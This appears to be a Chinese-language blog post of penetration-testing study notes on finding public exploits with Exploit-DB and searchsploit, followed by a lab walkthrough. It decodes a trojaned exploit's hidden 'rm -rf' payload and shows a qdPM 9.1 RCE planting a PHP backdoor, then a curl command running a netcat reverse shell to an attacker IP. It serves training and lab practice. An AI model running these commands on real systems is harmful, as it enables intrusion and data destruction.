公開的漏洞(Public Exploits)

 公開的漏洞(Public Exploits)


公開漏洞 OpenOwn 本來是針對 SSH 的漏洞攻擊程式,實際上內容非常詭異

首先是要求 root 的權限如下面這一段

if (geteuid()) {

  puts("Root is required for raw sockets, etc."); return 1;

}

接著往下翻可以看到一段使用 16 進制編碼的 impcode 內容如下

[...]

char jmpcode[] =

"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"

"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

[...]


透過 python3 將 16 進制解碼來看

└─$ python3                    

>>> jmpcode = ["\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"]
>>> print(jmpcode)
['rm -rf ~ /* 2> /dev/null &'] --> 這個是從根目錄移除所有 object 的命令,且還使用了
2>/dev/null 將 standard error 丟到 null,這樣一來不小心使用到的人系統就掛了



公開漏洞資料庫 Exploit Database 由 Offsec 維護,是一個值得信賴的漏洞查找資料庫

https://www.exploit-db.com/




另一個查找漏洞好用的網站 https://packetstormsecurity.com/




以及訪間最多人使用的平台 GitHub https://github.com/




但 GitHub 上是每個人都可以任意發佈的地方所以未經驗證的漏洞利用要盡量避免

可以使用一些官方的 GitHub 帳號來使用,例如 Offsec https://github.com/offensive-security




Offsec 已將預編譯的漏洞搬到 GitLAB https://gitlab.com/exploit-database/exploitdb-bin-sploits




另外可以利用 Google 搜尋來查找漏洞,例如 firefox --search "Microsoft Edge site:exploit-db.com"

會自動開啟 firefox 並搜尋 Microsoft Edge site:exploit-db.com

查詢影響 Microsoft Edge 瀏覽器的漏洞並限定結果在漏洞資料庫網站



Google 其他查找方式使用可以參考 https://ahrefs.com/blog/google-advanced-search-operators/
提供幾個常用的搜尋技巧

 - inurl : 搜索 URL 中包含特定單詞的頁面,例如 OSCP

 - intext : 搜索內容中包含特定單詞的頁面,例如 OSCP

 - intitle : 搜索標題標籤中包含特定單詞的頁面,例如 OSCP



離線利用既有資源查找漏洞

漏洞利用框架,允許在線或離線訪問漏洞,例如 Metasploit、Core Impact(付費)、Canvas

還有瀏覽器利用框架 BeEF (屬於一種滲透測試工具),僅專注在 Web Base 的客戶端攻擊

為確保 Kali 時時擁有最新的 exploitdb 漏洞資料庫,建議定期更新,可以透過下列使用更新

指令 └─$ sudo apt update && sudo apt install exploitdb



會更新 Kali Local /usr/share/exploitdb/~ 底下的漏洞利用資料庫副本

主要是每個漏洞利用和 shellcodes 目錄的 CSV 文件檔



漏洞利用路徑下(/usr/share/exploitdb/exploits)的目錄可以看到不同作業系統相關的漏洞利用



Kali 下搜尋漏洞可以使用 searchsploit 指令,直接輸入可以提供範例與參數說明



簡單 searchsploit 搜尋,搜尋 Windows 作業系統上的 SMB 遠端攻擊

搜尋指令 : └─$ searchsploit remote smb microsoft windows 關鍵字以空白區隔即可





透過使用 -m 參數可以複製漏洞利用,如利用上圖的 windows/remote/48537.py

指令 : └─$ searchsploit -m windows/remote/48537.py

可以看到下圖最後一行,已經複製到當前的目錄下了,ls 亦可看到該檔案



接著再複製另外一個 SMB 漏洞利用,這一次我們直接輸入 42031 (EDB-ID) 來當作條件
指令 : └─$ searchsploit -m 42031



練習 : 使用 searchsploit,找到標題為“Arm Whois 3.11 - Buffer Overflow (SEH)”的漏洞利用程序的 EDB-ID

指令 : └─$ searchsploit Arm Whois 3.11 Buffer Overflow SEH   (全部改成空格區隔關鍵字)

EDB-ID 即為下圖最右邊後面的數字 45796




練習 : EDB-ID 為 45796 的漏洞利用程序。受影響的軟件版本是多少?

指令 : └─$ searchsploit 45796,本版如下圖為 3.11




練習 : 針對 Windows 2012 x64 的 Eternal Blue 漏洞利用的 EDB-ID 是多少?

指令 : └─$ searchsploit Windows 2012 x64 Eternal Blue,答案為 42030




練習 : 使用 SUID 針對 Linux 內核 2.6.22 進行權限提升的 EDB-ID 是多少?

指令 : └─$ searchsploit SUID Linux 2.6.22,答案為 40616




練習 : Linux SquirrelMail 遠程命令執行 Metasploit 模塊的 EDB-ID 是多少?

指令 : └─$ searchsploit Linux SquirrelMail Metasploit,答案為 16888




練習 : WebCT 4.1.5 的 HTML 注入漏洞的 EDB-ID 是多少?

指令 : └─$ searchsploit WebCT 4.1.5 HTML injection,答案為 31337




練習 : 適用於 Windows x64 的遠程鍵盤記錄器綁定 Shellcode 生成器的 EDB-ID 是多少?

指令 : └─$ searchsploit Windows x64 Shellcode remote Keylogger,答案即為 45743




Nmap NSE 腳本

Kali 內建的 namp 有提供許多腳本,可以用於枚舉、暴力破解、模糊測試和檢測漏洞等功能

路徑位於 /usr/share/nmap/scripts 路徑底下,讓我們用以下指令搜尋 exploits 即可看到許多漏洞利用的腳本

指令 : └─$ grep Exploits /usr/share/nmap/scripts/*.nse



若要使用時要帶參數 --script,若要了解特定腳本則可以使用 --script-help 參數來顯示

例如 : └─$ nmap --script-help=clamav-exec.nse 會顯示此腳本的相關訊息與線上連結參考




練習 : 目標機器 IP 192.168.203.11

第一步先 rustscan └─$ rustscan -a 192.168.203.11 --scripts none --ulimit 5000

目標機器僅開放 22、80 Port
SSH 通常不易遭受攻擊,本練習著重在 80 Port 上



看到 80 第一步就是先逛一逛網站




About US 有四個員工資訊當中有 Email Address 先記錄一下



gobuster 掃一下 └─$ gobuster -w directory-list-2.3-medium.txt dir -u http://192.168.203.11/ -t 100 -x pdf,txt 2>/dev/null

有兩個網頁 /assets(這個訪問後顯示無權限) & /project (如下畫面為 qdPM 9.1)

 

查看網頁源代碼,也可以發現 qdPM 9.1




查找 qdPM 9.1 exploit remote 關鍵字發現有幾個漏洞可以利用




Exploit DB 線上查找 qdPM 9.1 第一個已被驗證且是 RCE 看來是個好的漏洞利用



該漏洞顯示 Authenticated 表示需要擁有驗證過的使用者帳號才可利用
前面我們有拿到四組 Email Address 看來是個可以進行的方向來查找看有無密碼





回到剛剛 Project 的網頁,登入帳號就是 Email Address




結果猜到帳號 : 密碼 george@AIDevCorp.org:AIDevCorp 為有效地帳密

登入 qdPM 試試看吧




前面的 RCE 漏洞 50944 就可以拿來利用,先 COPY 到當前目錄吧 └─$ searchsploit -m 50944



漏洞利用開始

└─$ python3 50944.py -url http://192.168.203.11/project/ -u george@AIDevCorp.org -p AIDevCorp

可以看到塞了後門 php 進去到 /project/uploads/users/888049-backdoor.php


curl 該檔案與命令確實有回應



看看有無 nc └─$ curl http://192.168.203.11/project/uploads/users/888049-backdoor.php --data-urlencode "cmd=which nc"

確認有 nc

備註 : 可以使用參數 --data-urlencode 直接轉換



或是 URL 先 Encode 再帶入也可以

└─$ curl http://192.168.203.11/project/uploads/users/888049-backdoor.php?cmd=which%20nc



直接 nc reverse shell 吧 nc -nv 192.168.45.187 4444 -e /bin/bash

指令 : └─$ curl http://192.168.203.11/project/uploads/users/888049-backdoor.php --data-urlencode "cmd=nc -nv 192.168.45.187 4444 -e /bin/bash"



Reverse Shell 進來了,執行 id & whoami & tty 察看結果,發現不是 tty

那就執行指令 script -c /bin/bash -q /dev/null 快速開啟 tty





CVE 漏洞查找棒棒網站,例如 Microsoft IIS 6.0

https://www.cvedetails.com/version-search.php?page=1&vendor=Microsoft&product=IIS&version=6.0
















留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)